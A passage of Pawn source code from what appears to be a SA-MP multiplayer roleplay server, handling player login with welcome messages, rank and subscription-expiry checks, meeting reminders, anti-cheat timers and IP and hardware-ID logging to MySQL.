			new string3[144];
			printf("%s has logged in.",playername2);
			// Ghat Shodane Music e Intro e Server Baraye Player by Sina
			StopAudioStreamForPlayer(playerid);// by Sina
			if(IsInFaction(playerid)) { SetPlayerSkin(playerid, PlayerInfo[playerid][fSkin]); }// By SiNaGaMeR
			else { SetPlayerSkin(playerid, PlayerInfo[playerid][cSkin]); }// By SiNaGaMeR
			format(string3, sizeof(string3), "SERVER: Welcome {00E8C0}%s{FFFFFF}!",playername2);
			SCM(playerid,COLOR_WHITE,string3);
			if (PlayerInfo[playerid][pPremiumAccount] != 0)
			{
				SendMessage(playerid, COLOR_WHITE,"SERVER: You're a Premium Account user.");
			}
			if (PlayerInfo[playerid][pVip] != 0)
			{
				SendMessage(playerid, COLOR_WHITE,"SERVER: You're a VIP user.");
			}
			if (PlayerInfo[playerid][pAdmin] >= 1)
			{
				format(string2, sizeof(string2), "SERVER: Welcome Admin {C60000}%s{FFFFFF}.",playername2,PlayerInfo[playerid][pAdmin]);
				SendMessage(playerid, COLOR_WHITE,string2);
			}
			if (PlayerInfo[playerid][pSponser] == 1)
			{
				format(string2, sizeof(string2), "SERVER: Welcome Sponsor {C60000}%s{FFFFFF}.",playername2,PlayerInfo[playerid][pAdmin]);
				SendMessage(playerid, COLOR_WHITE,string2);
			}
			if(PINFO[playerid][pHelper] >= 1)
			{
				format(string2, sizeof(string2), "SERVER: Welcome Helper {FFB870}%s{FFFFFF}.",playername2,PlayerInfo[playerid][pHelper]);
				SendMessage(playerid, COLOR_WHITE,string2);
			}
			if(PINFO[playerid][pAuto] == 0)
			{
				format(string2, sizeof(string2), "AutoLogin feature is {FF0000}disabled{FFFFFF}.");
				SendMessage(playerid, COLOR_WHITE,string2);
			}
			if(PINFO[playerid][pAuto] == 1)
			{
				format(string2, sizeof(string2), "AutoLogin feature is {00FF00}enabled{FFFFFF}.");
				SendMessage(playerid, COLOR_WHITE,string2);
				if(PINFO[playerid][pAutoPIN] == 1 && pindare[playerid] == 1 && PINFO[playerid][pPinned] == 1)
				{
					LockAcc[playerid] = 0;
					pindare[playerid] = 0;
				}
			}
			new strings[64];
			format(strings,sizeof(strings),"AutoSleep feature is %s{FFFFFF}.",(PINFO[playerid][pAutoS] == 0)?("{FF0000}disabled"):("{00FF00}enabled"));
			SCM(playerid,COLOR_WHITE,strings);
			if(PINFO[playerid][pAutoS] == 1)
			{
				SetTimerEx("autosleep", 500, 0, "d", playerid);
				AutoSleepZade[playerid] = 1;
			}
			if(PINFO[playerid][pAdmin] >= 1 || PINFO[playerid][pHelper] >= 1)
			{
				PlayerTextDrawShow(playerid, SAR[playerid]);
			}
	   if(KickLogin[playerid]!=0)
	   {
	   KillTimer(KickLogin[playerid]);
	   KickLogin[playerid]=0;
	   }
			new query[200];
			mysql_format(handle, query, sizeof(query), "SELECT * FROM `messages` WHERE Receiver='%e'",PINFO[playerid][pName]);
            mysql_tquery(handle, query, "DoesPlayerHaveMessage", "i", playerid);
			SinaManam[playerid] = SetTimerEx("CheckOneSecond", 1000, true, "i", playerid);
			ZeroTimer[playerid] = SetTimerEx("SetZero", 6000, true, "i", playerid);
	        AIBTimer[playerid] = SetTimerEx("CheckCounts", 5000, true, "i", playerid);
			CheckMeh[playerid] = SetTimerEx("CheckMehz", 100, true, "i", playerid);
			DesyncBegin[playerid] = SetTimerEx("DesyncBeginz", 3000, false, "i", playerid);
			//FlyCheatTimer[playerid] = SetTimerEx("PlayerFlyHack", 500, true, "i", playerid);
			//FlyCheatTimer2[playerid] = SetTimerEx("PlayerFlyHack2", 500, true, "i", playerid);
			CheckKonBN[playerid] = SetTimerEx("CheckHalfTimer", 500, true, "i", playerid);
			//MySpamsTimer[playerid] = SetTimerEx("CheckMySpams", 1000, true, "i", playerid);
			MinerCoins[playerid] = SetTimerEx("MineCoins", 10000, true, "i", playerid);
			//AFKCheckActiveTimer[playerid] = SetTimerEx("AFKCheck", 1000, true, "i", playerid);
			if(GetPlayerWantedLevel(playerid) >= 1)
	        {
	        WantedKamKonTimerValid[playerid] = true;
	        WantedTimerEZ[playerid] = 900;
	        PlayerTextDrawShow(playerid, WantedTTD[playerid]);
	        }
			cheatcode21[playerid] = 0;
			if(PINFO[playerid][pRefa] == 0)
			{
				TestVR[playerid] += teadadacc;
				//strcpy(PINFO[playerid][pID],TestVR[playerid],128);
				//new ORG[256];
				//ORG = TestVR[playerid];
				PINFO[playerid][pRefa] = 1;
				SaveKonVal(playerid, "pRefa", 1);
				PINFO[playerid][pID] = TestVR[playerid];
				SaveKonVal(playerid, "pID", TestVR[playerid]);
				TestVR[playerid] = 0;
			}
			/*
			if(PINFO[playerid][pHDay] == 0 && PINFO[playerid][pAdmin] == 7 || PINFO[playerid][pAdmin] == 8 || PINFO[playerid][pAdmin] == 9)
			{
				phday1[playerid] = 1;
			}
			if(PINFO[playerid][pSDay] == 0 && PINFO[playerid][pSponser] == 1)
			{
				psday1[playerid] = 1;
			}
			*/
			onnlogin[playerid] = 0;
			new tmphour;
			new tmpminute;
			new tmpsecond;
			gettime(tmphour, tmpminute, tmpsecond);
			if(tmphour >= 19 && tmphour <= 24 && PlayerInfo[playerid][pPremiumAccount] != 0) 
			{
			SendMessage(playerid, COLOR_LIGHTBLUE,"You will receive double respect points and paycheck at your next payday.");
			}
			if(PINFO[playerid][pPinned] == 0)
			{
				SendMessage(playerid, COLOR_LIGHTBLUE,"Your account have no PIN entered. To improve the security of your account use /pininfo and set a PIN.");
			}
			if(PINFO[playerid][pSecurity] == 0)
			{
               SendMessage(playerid, COLOR_LIGHTBLUE,"Your account have no recovery option. To recovery your account anytime, use /mysecurity and add a security question.");
			}
			if(MeetInfo[GetPlayerFactionID(playerid)][mMeeting] != 0)
			{
			   new cht[144];
            if(MeetInfo[GetPlayerFactionID(playerid)][mMeeting] == 2)
            {
               format(cht, sizeof(cht), "[Faction]: Your faction meeting time was set to %02d/%02d/%02d %02d:%02d:%02d", MeetInfo[GetPlayerFactionID(playerid)][mYear], MeetInfo[GetPlayerFactionID(playerid)][mMonth], MeetInfo[GetPlayerFactionID(playerid)][mDay], MeetInfo[GetPlayerFactionID(playerid)][mHour], MeetInfo[GetPlayerFactionID(playerid)][mMinute], MeetInfo[GetPlayerFactionID(playerid)][mSecond]);
               SendMessage(playerid, COLOR_LIGHTBLUE,cht);
			}
			if(MeetInfo[GetPlayerFactionID(playerid)][mMeeting] == 1)
			{
			if(IsDateTimeInPast(MeetInfo[GetPlayerFactionID(playerid)][mYear], MeetInfo[GetPlayerFactionID(playerid)][mMonth], MeetInfo[GetPlayerFactionID(playerid)][mDay], MeetInfo[GetPlayerFactionID(playerid)][mHour], MeetInfo[GetPlayerFactionID(playerid)][mMinute], MeetInfo[GetPlayerFactionID(playerid)][mSecond]))
			{}
			else
			{
               format(cht, sizeof(cht), "[Faction]: Your faction meeting time was set to %02d/%02d/%02d %02d:%02d:%02d", MeetInfo[GetPlayerFactionID(playerid)][mYear], MeetInfo[GetPlayerFactionID(playerid)][mMonth], MeetInfo[GetPlayerFactionID(playerid)][mDay], MeetInfo[GetPlayerFactionID(playerid)][mHour], MeetInfo[GetPlayerFactionID(playerid)][mMinute], MeetInfo[GetPlayerFactionID(playerid)][mSecond]);
               SendMessage(playerid, COLOR_LIGHTBLUE,cht);
			}
			}
			}
			if(MeetInfo[18][mMeeting]!=0&&IsStaff(playerid))
			{
			new cht[144];
			if(MeetInfo[18][mMeeting]==2)
			{
            format(cht, sizeof(cht), " An ongoing staff meeting is at %02d/%02d/%02d %02d:%02d:%02d", MeetInfo[18][mYear], MeetInfo[18][mMonth], MeetInfo[18][mDay], MeetInfo[18][mHour], MeetInfo[18][mMinute], MeetInfo[18][mSecond]);
            SendMessage(playerid, COLOR_LIGHTRED,cht);
            }
            if(MeetInfo[18][mMeeting]==1)
            {
            if(IsDateTimeInPast(MeetInfo[18][mYear], MeetInfo[18][mMonth], MeetInfo[18][mDay], MeetInfo[18][mHour], MeetInfo[18][mMinute], MeetInfo[18][mSecond]))
            {}
            else
            {
            format(cht, sizeof(cht), " An ongoing staff meeting is at %02d/%02d/%02d %02d:%02d:%02d", MeetInfo[18][mYear], MeetInfo[18][mMonth], MeetInfo[18][mDay], MeetInfo[18][mHour], MeetInfo[18][mMinute], MeetInfo[18][mSecond]);
            SendMessage(playerid, COLOR_LIGHTRED,cht);
            }
            }
			}
			if(PINFO[playerid][pAdminJailed] == 1 && PlayerInfo[playerid][pJailTime] > 0)
			{

				format(string2, sizeof(string2), "You have been Admin-Jailed by admin %s for %s.",PlayerInfo[playerid][pJailBy],PlayerInfo[playerid][pJailReason]);
				SendMessage(playerid, COLOR_LIGHTRED,string2);
			}


			if(PINFO[playerid][pMuteTime] != 0)
			{

			format(string2, sizeof(string2), "You have been Muted by admin %s for %s.",PlayerInfo[playerid][pMuteBy],PlayerInfo[playerid][pMuteReason]);
			SendMessage(playerid, COLOR_LIGHTRED,string2);
			}
			if(PINFO[playerid][pPDay] == 9999) 
			{
				SCM(playerid, COLOR_RED, "{FF0000}Warning: {FFFF00}your premium account date has been expired.");
				PINFO[playerid][pPDay] = 0;
				SaveKonVal(playerid, "pPDay", 0);
				PINFO[playerid][pPremiumAccount] = 0;
				SaveKonVal(playerid, "pPremiumAccount", 0);
			}
			if(PINFO[playerid][pHDay] == 0 && PINFO[playerid][pAdmin] == 7 || PINFO[playerid][pHDay] == 0 && PINFO[playerid][pAdmin] == 8 || PINFO[playerid][pHDay] == 0 && PINFO[playerid][pAdmin] == 9)
			{
				SCM(playerid, COLOR_RED, "{FF0000}Warning: {FFFF00}Your Hoster date has been expired.");
				SCM(playerid, COLOR_Good, "For syncing with systems, you'll be reconnect.");
				PINFO[playerid][pHDay] = 0;
				SaveKonVal(playerid, "pHDay", 0);
				PINFO[playerid][pAdmin] = 0;
				SaveKonVal(playerid, "pAdmin", 0);
				PINFO[playerid][pHelper] = 0;
				SaveKonVal(playerid, "pHelper", 0);
				//OnPlayerCommandText(playerid, "/relog");
				//RelogPlayer2(playerid);
				RelogPlayerDovvom[playerid] = SetTimerEx("Relogme2", 50, false, "i", playerid);
			}
			if(PINFO[playerid][pSDay] == 0 && PINFO[playerid][pSponser] == 1)
			{
				SCM(playerid, COLOR_RED, "{FF0000}Warning: {FFFF00}Your Sponsor date has been expired.");
				PINFO[playerid][pSDay] = 0;
				SaveKonVal(playerid, "pSDay", 0);
				PINFO[playerid][pSponser] = 0;
				SaveKonVal(playerid, "pSponser", 0);
			}
			format(string2, sizeof(string2), "~w~Welcome ~n~~y~  %s",playername2);
			GameTextForPlayer(playerid, string2, 3000, 1);
			//GangZoneHideForPlayer(playerid,meshki);
			new tmpPlayerIp[120];
			GetPlayerIp(playerid, tmpPlayerIp, sizeof(tmpPlayerIp));
			SaveKonStr(playerid, "pAutoIP", tmpPlayerIp);
			new hwid[45];
			gpci(playerid,hwid,sizeof(hwid));
			new hwquery[500];
			mysql_format(handle, hwquery, 500, "UPDATE `users` SET `pHWID`='%e' WHERE `pName`='%e'", hwid, PlayerInfo[playerid][pName]);
			mysql_tquery(handle, hwquery, "SendQuery", "");
			TextDrawHideForPlayer(playerid,shacklog);

			SetPlayerSpawn(playerid);
			new friend[50];

			format(friend, sizeof(friend), "~y~You have ~r~%d~y~/~r~%d ~y~online friends.",CountF[playerid], KolFriends[playerid]);

			//TextDrawShowForPlayer(playerid, Friend2);

			PlayerTextDrawSetString(playerid, Friend[playerid], friend);

			PlayerTextDrawShow(playerid, Friend[playerid]);

			SetTimerEx("hidefr", 5000, false, "i", playerid);

			GivePlayerPool(playerid,PlayerInfo[playerid][pCash]);
			// All rights by SiNaGaMeR :/
			if(PlayerInfo[playerid][pFSS] == 0)
			{
				SetPlayerFightingStyle(playerid, FIGHT_STYLE_NORMAL);
			}
			if(PlayerInfo[playerid][pFSS] == 1)
			{
				SetPlayerFightingStyle(playerid, FIGHT_STYLE_ELBOW);
			}
			if(PlayerInfo[playerid][pFSS] == 2)
			{
				SetPlayerFightingStyle(playerid, FIGHT_STYLE_BOXING);
			}
			if(PlayerInfo[playerid][pFSS] == 3)
			{
				SetPlayerFightingStyle(playerid, FIGHT_STYLE_GRABKICK);
			}
			if(PlayerInfo[playerid][pFSS] == 4)
			{
				SetPlayerFightingStyle(playerid, FIGHT_STYLE_KNEEHEAD);
			}
			if(PlayerInfo[playerid][pFSS] == 5)
			{
				SetPlayerFightingStyle(playerid, FIGHT_STYLE_KUNGFU);
			}
			OnPlayerEnterGame(playerid);
		}
	}
}
forward shack3(playerid);
public shack3(playerid)
{
  new Float:x,Float:y,Float:z;
  GetPlayerCameraFrontVector(playerid, x, y, z);
  if(z == sdt[playerid])
  {
  if(IsPlayerConnected(playerid))
  {
  TogglePlayerControllable(playerid,1);
  SpawnPlayer(playerid);
  mpop[playerid] = 0;
  new playername2[40];
  new string2[256];
  GetPlayerName(playerid,playername2,40);
  new string3[256];
	printf("%s has logged in.",playername2);
	StopAudioStreamForPlayer(playerid);// by Sina
	   if(IsInFaction(playerid)) { SetPlayerSkin(playerid, PlayerInfo[playerid][fSkin]); }// By SiNaGaMeR
	else { SetPlayerSkin(playerid, PlayerInfo[playerid][cSkin]); }// By SiNaGaMeR
	/*
	   // All rights by SiNaGaMeR
	if(PlayerInfo[playerid][pFSS] == 0)
	{
	SetPlayerFightingStyle(playerid, FIGHT_STYLE_NORMAL);
	return 1;
	}
	if(PlayerInfo[playerid][pFSS] == 1)
	{
	SetPlayerFightingStyle(playerid, FIGHT_STYLE_ELBOW);
	return 1;
	}
	if(PlayerInfo[playerid][pFSS] == 2)
	{
	SetPlayerFightingStyle(playerid, FIGHT_STYLE_BOXING);
	return 1;
	}
	if(PlayerInfo[playerid][pFSS] == 3)
	{
	SetPlayerFightingStyle(playerid, FIGHT_STYLE_GRABKICK);
	return 1;
	}
	if(PlayerInfo[playerid][pFSS] == 4)
	{
	SetPlayerFightingStyle(playerid, FIGHT_STYLE_KNEEHEAD);
	return 1;
	}
	if(PlayerInfo[playerid][pFSS] == 5)
	{
	SetPlayerFightingStyle(playerid, FIGHT_STYLE_KUNGFU);
	return 1;
	}
	// =))
	*/
  format(string3, sizeof(string3), "SERVER: Welcome {00E8C0}%s{FFFFFF}!",playername2);
  SCM(playerid,COLOR_WHITE,string3);
  if (PlayerInfo[playerid][pPremiumAccount] != 0)
  {
		  SendMessage(playerid, COLOR_WHITE,"SERVER: You're a Premium Account user.");
  }
  if (PlayerInfo[playerid][pVip] != 0)
  {
	SendMessage(playerid, COLOR_WHITE,"SERVER: You're a VIP user.");
  }
  if (PlayerInfo[playerid][pAdmin] >= 1)
  {
		  format(string2, sizeof(string2), "SERVER: Welcome Admin {C60000}%s{FFFFFF}.",playername2,PlayerInfo[playerid][pAdmin]);
		  SendMessage(playerid, COLOR_WHITE,string2);
  }
  if (PlayerInfo[playerid][pSponser] == 1)
  {
		  format(string2, sizeof(string2), "SERVER: Welcome Sponsor {C60000}%s{FFFFFF}.",playername2,PlayerInfo[playerid][pAdmin]);
		  SendMessage(playerid, COLOR_WHITE,string2);
  }
  if(PINFO[playerid][pHelper] >= 1)
  {
		  format(string2, sizeof(string2), "SERVER: Welcome Helper {FFB870}%s{FFFFFF}.",playername2,PlayerInfo[playerid][pHelper]);
		  SendMessage(playerid, COLOR_WHITE,string2);
  }
  if(PINFO[playerid][pAuto] == 0)
  {
		  format(string2, sizeof(string2), "AutoLogin feature is {FF0000}disabled{FFFFFF}.");
		  SendMessage(playerid, COLOR_WHITE,string2);
  }
  if(PINFO[playerid][pAuto] == 1)
  {
		  format(string2, sizeof(string2), "AutoLogin feature is {00FF00}enabled{FFFFFF}.");
		  SendMessage(playerid, COLOR_WHITE,string2);
		   if(PINFO[playerid][pAutoPIN] == 1 && pindare[playerid] == 1 && PINFO[playerid][pPinned] == 1)
		   {
				  LockAcc[playerid] = 0;
				  pindare[playerid] = 0;
		  }
  }
  new strings[144];
  if(PINFO[playerid][pAutoS] == 0)
  {
		  format(strings, sizeof(strings), "AutoSleep feature is {FF0000}disabled{FFFFFF}.");
		  SendMessage(playerid, COLOR_WHITE,strings);
  }
  if(PINFO[playerid][pAutoS] == 1)
  {
		  format(strings, sizeof(strings), "AutoSleep feature is {00FF00}enabled{FFFFFF}.");
		  SendMessage(playerid, COLOR_WHITE,strings);
		  SetTimerEx("autosleep", 500, 0, "d", playerid);
		  AutoSleepZade[playerid] = 1;
  }
  if(PINFO[playerid][pAdmin] >= 1 || PINFO[playerid][pHelper] >= 1)
  {
	PlayerTextDrawShow(playerid, SAR[playerid]);
  }
	   if(KickLogin[playerid]!=0)
	   {
	   KillTimer(KickLogin[playerid]);
	   KickLogin[playerid]=0;
	   }
  new query[200];
   mysql_format(handle, query, sizeof(query), "SELECT * FROM `messages` WHERE Receiver='%e'",PINFO[playerid][pName]);
   mysql_tquery(handle, query, "DoesPlayerHaveMessage", "i", playerid);
   SinaManam[playerid] = SetTimerEx("CheckOneSecond", 1000, true, "i", playerid);
   ZeroTimer[playerid] = SetTimerEx("SetZero", 6000, true, "i", playerid);
   AIBTimer[playerid] = SetTimerEx("CheckCounts", 5000, true, "i", playerid);
   CheckMeh[playerid] = SetTimerEx("CheckMehz", 100, true, "i", playerid);
   DesyncBegin[playerid] = SetTimerEx("DesyncBeginz", 3000, false, "i", playerid);
   //FlyCheatTimer[playerid] = SetTimerEx("PlayerFlyHack", 500, true, "i", playerid);
   //FlyCheatTimer2[playerid] = SetTimerEx("PlayerFlyHack2", 500, true, "i", playerid);
   CheckKonBN[playerid] = SetTimerEx("CheckHalfTimer", 500, true, "i", playerid);
   //MySpamsTimer[playerid] = SetTimerEx("CheckMySpams", 1000, true, "i", playerid);
   MinerCoins[playerid] = SetTimerEx("MineCoins", 10000, true, "i", playerid);
   //AFKCheckActiveTimer[playerid] = SetTimerEx("AFKCheck", 1000, true, "i", playerid);
   if(GetPlayerWantedLevel(playerid) >= 1)
   {
   WantedKamKonTimerValid[playerid] = true;
   WantedTimerEZ[playerid] = 900;
   PlayerTextDrawShow(playerid, WantedTTD[playerid]);
   }
   cheatcode21[playerid] = 0;
  if(PINFO[playerid][pRefa] == 0)
  {
	TestVR[playerid] += teadadacc;
	//strcpy(PINFO[playerid][pID],TestVR[playerid],128);
	 //new ORG[256];
	 //ORG = TestVR[playerid];
	PINFO[playerid][pRefa] = 1;
	SaveKonVal(playerid, "pRefa", 1);
	PINFO[playerid][pID] = TestVR[playerid];
	SaveKonVal(playerid, "pID", TestVR[playerid]);
	TestVR[playerid] = 0;
  }
  /*
  if(PINFO[playerid][pHDay] == 0 && PINFO[playerid][pAdmin] == 7 || PINFO[playerid][pAdmin] == 8 || PINFO[playerid][pAdmin] == 9)
  {
  phday1[playerid] = 1;
  }
  if(PINFO[playerid][pSDay] == 0 && PINFO[playerid][pSponser] == 1)
  {
  psday1[playerid] = 1;
  }
  */
  onnlogin[playerid] = 0;
  new tmphour;
	new tmpminute;
	new tmpsecond;
	gettime(tmphour, tmpminute, tmpsecond);
	if(tmphour >= 19 && tmphour <= 24 && PlayerInfo[playerid][pPremiumAccount] != 0) {
	SendMessage(playerid, COLOR_LIGHTBLUE,"You will receive double respect points and paycheck at your next payday.");
	}
  if(PINFO[playerid][pPinned] == 0)
  {
		  SendMessage(playerid, COLOR_LIGHTBLUE,"Your account have no PIN entered. To improve the security of your account use /pininfo and set a PIN.");
  }
  if(PINFO[playerid][pSecurity] == 0)
  {
          SendMessage(playerid, COLOR_LIGHTBLUE,"Your account have no recovery option. To recovery your account anytime, use /mysecurity and add a security question.");
  }
			if(MeetInfo[GetPlayerFactionID(playerid)][mMeeting] != 0)
			{
			   new cht[144];
            if(MeetInfo[GetPlayerFactionID(playerid)][mMeeting] == 2)
            {
               format(cht, sizeof(cht), "[Faction]: Your faction meeting time was set to %02d/%02d/%02d %02d:%02d:%02d", MeetInfo[GetPlayerFactionID(playerid)][mYear], MeetInfo[GetPlayerFactionID(playerid)][mMonth], MeetInfo[GetPlayerFactionID(playerid)][mDay], MeetInfo[GetPlayerFactionID(playerid)][mHour], MeetInfo[GetPlayerFactionID(playerid)][mMinute], MeetInfo[GetPlayerFactionID(playerid)][mSecond]);
               SendMessage(playerid, COLOR_LIGHTBLUE,cht);
			}
			if(MeetInfo[GetPlayerFactionID(playerid)][mMeeting] == 1)
			{
			if(IsDateTimeInPast(MeetInfo[GetPlayerFactionID(playerid)][mYear], MeetInfo[GetPlayerFactionID(playerid)][mMonth], MeetInfo[GetPlayerFactionID(playerid)][mDay], MeetInfo[GetPlayerFactionID(playerid)][mHour], MeetInfo[GetPlayerFactionID(playerid)][mMinute], MeetInfo[GetPlayerFactionID(playerid)][mSecond]))
			{}
			else
			{
               format(cht, sizeof(cht), "[Faction]: Your faction meeting time was set to %02d/%02d/%02d %02d:%02d:%02d", MeetInfo[GetPlayerFactionID(playerid)][mYear], MeetInfo[GetPlayerFactionID(playerid)][mMonth], MeetInfo[GetPlayerFactionID(playerid)][mDay], MeetInfo[GetPlayerFactionID(playerid)][mHour], MeetInfo[GetPlayerFactionID(playerid)][mMinute], MeetInfo[GetPlayerFactionID(playerid)][mSecond]);
               SendMessage(playerid, COLOR_LIGHTBLUE,cht);
			}
			}
			}
			if(MeetInfo[18][mMeeting]!=0&&IsStaff(playerid))
			{
			new cht[144];
			if(MeetInfo[18][mMeeting]==2)
			{
            format(cht, sizeof(cht), " An ongoing staff meeting is at %02d/%02d/%02d %02d:%02d:%02d", MeetInfo[18][mYear], MeetInfo[18][mMonth], MeetInfo[18][mDay], MeetInfo[18][mHour], MeetInfo[18][mMinute], MeetInfo[18][mSecond]);
            SendMessage(playerid, COLOR_LIGHTRED,cht);
            }
            if(MeetInfo[18][mMeeting]==1)
            {
            if(IsDateTimeInPast(MeetInfo[18][mYear], MeetInfo[18][mMonth], MeetInfo[18][mDay], MeetInfo[18][mHour], MeetInfo[18][mMinute], MeetInfo[18][mSecond]))
            {}
            else
            {
            format(cht, sizeof(cht), " An ongoing staff meeting is at %02d/%02d/%02d %02d:%02d:%02d", MeetInfo[18][mYear], MeetInfo[18][mMonth], MeetInfo[18][mDay], MeetInfo[18][mHour], MeetInfo[18][mMinute], MeetInfo[18][mSecond]);
            SendMessage(playerid, COLOR_LIGHTRED,cht);
            }
            }
			}
   if(PINFO[playerid][pAdminJailed] == 1 && PlayerInfo[playerid][pJailTime] > 0)
  {

		  format(string2, sizeof(string2), "You have been Admin-Jailed by admin %s for %s.",PlayerInfo[playerid][pJailBy],PlayerInfo[playerid][pJailReason]);
		  SendMessage(playerid, COLOR_LIGHTRED,string2);
  }
   if(PINFO[playerid][pMuteTime] != 0)
  {

		  format(string2, sizeof(string2), "You have been Muted by admin %s for %s.",PlayerInfo[playerid][pMuteBy],PlayerInfo[playerid][pMuteReason]);
		  SendMessage(playerid, COLOR_LIGHTRED,string2);
  }
  if(PINFO[playerid][pPDay] == 9999) {
  SCM(playerid, COLOR_RED, "{FF0000}Warning: {FFFF00}your premium account date has been expired.");
  PINFO[playerid][pPDay] = 0;
  SaveKonVal(playerid, "pPDay", 0);
  PINFO[playerid][pPremiumAccount] = 0;
  SaveKonVal(playerid, "pPremiumAccount", 0);
  }
  if(PINFO[playerid][pHDay] == 0 && PINFO[playerid][pAdmin] == 7 || PINFO[playerid][pHDay] == 0 && PINFO[playerid][pAdmin] == 8 || PINFO[playerid][pHDay] == 0 && PINFO[playerid][pAdmin] == 9)
  {
	SCM(playerid, COLOR_RED, "{FF0000}Warning: {FFFF00}Your Hoster date has been expired.");
	SCM(playerid, COLOR_Good, "For syncing with systems, you'll be reconnect.");
	PINFO[playerid][pHDay] = 0;
	SaveKonVal(playerid, "pHDay", 0);
	PINFO[playerid][pAdmin] = 0;
	SaveKonVal(playerid, "pAdmin", 0);
	PINFO[playerid][pHelper] = 0;
	SaveKonVal(playerid, "pHelper", 0);
	//OnPlayerCommandText(playerid, "/relog");
	//RelogPlayer2(playerid);
	RelogPlayerDovvom[playerid] = SetTimerEx("Relogme2", 50, false, "i", playerid);
  }
  if(PINFO[playerid][pSDay] == 0 && PINFO[playerid][pSponser] == 1)
  {
	SCM(playerid, COLOR_RED, "{FF0000}Warning: {FFFF00}Your Sponsor date has been expired.");
	PINFO[playerid][pSDay] = 0;
	SaveKonVal(playerid, "pSDay", 0);
	PINFO[playerid][pSponser] = 0;
	SaveKonVal(playerid, "pSponser", 0);
  }
  /*
  if(PINFO[playerid][pCard] == 2) {
  SCM(playerid, COLOR_RED, "{FFFF00}Your soldier ship has been finished.");
  SCM(playerid, COLOR_RED, "{FFFF00}You have soldier finish card now.");
  SCM(playerid, COLOR_RED, "{FFFF00}You earned 30,000$ for prize.");
  PINFO[playerid][pCard] = 1;
  SaveKonVal(playerid, "pCard", 1);
  }
  */
  new tmpPlayerIp[120];
  GetPlayerIp(playerid, tmpPlayerIp, sizeof(tmpPlayerIp));
  SaveKonStr(playerid, "pAutoIP", tmpPlayerIp);
  new hwid[45];
  gpci(playerid,hwid,sizeof(hwid));
  new hwquery[500];
  mysql_format(handle, hwquery, 500, "UPDATE `users` SET `pHWID`='%e' WHERE `pName`='%e'", hwid, PlayerInfo[playerid][pName]);
  mysql_tquery(handle, hwquery, "SendQuery", "");
  format(string2, sizeof(string2), "~w~Welcome ~n~~y~  %s",playername2);
  GameTextForPlayer(playerid, string2, 3000, 1);
  //GangZoneHideForPlayer(playerid,meshki);

  TextDrawHideForPlayer(playerid,shacklog);
StopAudioStreamForPlayer(playerid);
   SetPlayerSpawn(playerid);


   new friend[512];

   format(friend, sizeof(friend), "~y~You have ~r~%d~y~/~r~%d ~y~online friends.",CountF[playerid], KolFriends[playerid]);

   //TextDrawShowForPlayer(playerid, Friend2);

   PlayerTextDrawSetString(playerid, Friend[playerid], friend);

   PlayerTextDrawShow(playerid, Friend[playerid]);

   SetTimerEx("hidefr", 5000, false, "i", playerid);

   GivePlayerPool(playerid,PlayerInfo[playerid][pCash]);
		// All rights by SiNaGaMeR
	if(PlayerInfo[playerid][pFSS] == 0)
	{
	SetPlayerFightingStyle(playerid, FIGHT_STYLE_NORMAL);
	}
	if(PlayerInfo[playerid][pFSS] == 1)
	{
	SetPlayerFightingStyle(playerid, FIGHT_STYLE_ELBOW);
	}
	if(PlayerInfo[playerid][pFSS] == 2)
	{
	SetPlayerFightingStyle(playerid, FIGHT_STYLE_BOXING);
	}
	if(PlayerInfo[playerid][pFSS] == 3)
	{
	SetPlayerFightingStyle(playerid, FIGHT_STYLE_GRABKICK);
	}
	if(PlayerInfo[playerid][pFSS] == 4)
	{
	SetPlayerFightingStyle(playerid, FIGHT_STYLE_KNEEHEAD);
	}
	if(PlayerInfo[playerid][pFSS] == 5)
	{
	SetPlayerFightingStyle(playerid, FIGHT_STYLE_KUNGFU);
	}
	OnPlayerEnterGame(playerid);
  }
  else
  {
  //SetTimerEx("Kickshack", 200, false, "i", playerid);
  if(IsPlayerConnected(playerid))
  {
  TogglePlayerControllable(playerid,1);
  SpawnPlayer(playerid);
  mpop[playerid] = 0;
  new playername2[40];
  new string2[256];
  GetPlayerName(playerid,playername2,40);
  new string3[256];
   printf("%s has logged in.",playername2);
   StopAudioStreamForPlayer(playerid);// by Sina
	  if(IsInFaction(playerid)) { SetPlayerSkin(playerid, PlayerInfo[playerid][fSkin]); }// By SiNaGaMeR
	else { SetPlayerSkin(playerid, PlayerInfo[playerid][cSkin]); }// By SiNaGaMeR
	/*
	   // All rights by SiNaGaMeR
	if(PlayerInfo[playerid][pFSS] == 0)
	{
	SetPlayerFightingStyle(playerid, FIGHT_STYLE_NORMAL);
	return 1;
	}
	if(PlayerInfo[playerid][pFSS] == 1)
	{
	SetPlayerFightingStyle(playerid, FIGHT_STYLE_ELBOW);
	return 1;
	}
	if(PlayerInfo[playerid][pFSS] == 2)
	{
	SetPlayerFightingStyle(playerid, FIGHT_STYLE_BOXING);
	return 1;
	}
	if(PlayerInfo[playerid][pFSS] == 3)
	{
	SetPlayerFightingStyle(playerid, FIGHT_STYLE_GRABKICK);
	return 1;
	}
	if(PlayerInfo[playerid][pFSS] == 4)
	{
	SetPlayerFightingStyle(playerid, FIGHT_STYLE_KNEEHEAD);
	return 1;
	}
	if(PlayerInfo[playerid][pFSS] == 5)
	{
	SetPlayerFightingStyle(playerid, FIGHT_STYLE_KUNGFU);
	return 1;
	}
	// =))
	*/
  format(string3, sizeof(string3), "SERVER: Welcome {00E8C0}%s{FFFFFF}!",playername2);
  SCM(playerid,COLOR_WHITE,string3);
  if (PlayerInfo[playerid][pPremiumAccount] != 0)
  {
		  SendMessage(playerid, COLOR_WHITE,"SERVER: You're a Premium Account user.");
  }
  if (PlayerInfo[playerid][pVip] != 0)
  {
	SendMessage(playerid, COLOR_WHITE,"SERVER: You're a VIP user.");
  }
  if (PlayerInfo[playerid][pAdmin] >= 1)
  {
		  format(string2, sizeof(string2), "SERVER: Welcome Admin {C60000}%s{FFFFFF}.",playername2,PlayerInfo[playerid][pAdmin]);
		  SendMessage(playerid, COLOR_WHITE,string2);
  }
  if (PlayerInfo[playerid][pSponser] == 1)
  {
		  format(string2, sizeof(string2), "SERVER: Welcome Sponsor {C60000}%s{FFFFFF}.",playername2,PlayerInfo[playerid][pAdmin]);
		  SendMessage(playerid, COLOR_WHITE,string2);
  }
  if(PINFO[playerid][pHelper] >= 1)
  {
		  format(string2, sizeof(string2), "SERVER: Welcome Helper {FFB870}%s{FFFFFF}.",playername2,PlayerInfo[playerid][pHelper]);
		  SendMessage(playerid, COLOR_WHITE,string2);
  }
  if(PINFO[playerid][pAuto] == 0)
  {
		  format(string2, sizeof(string2), "AutoLogin feature is {FF0000}disabled{FFFFFF}.");
		  SendMessage(playerid, COLOR_WHITE,string2);
  }
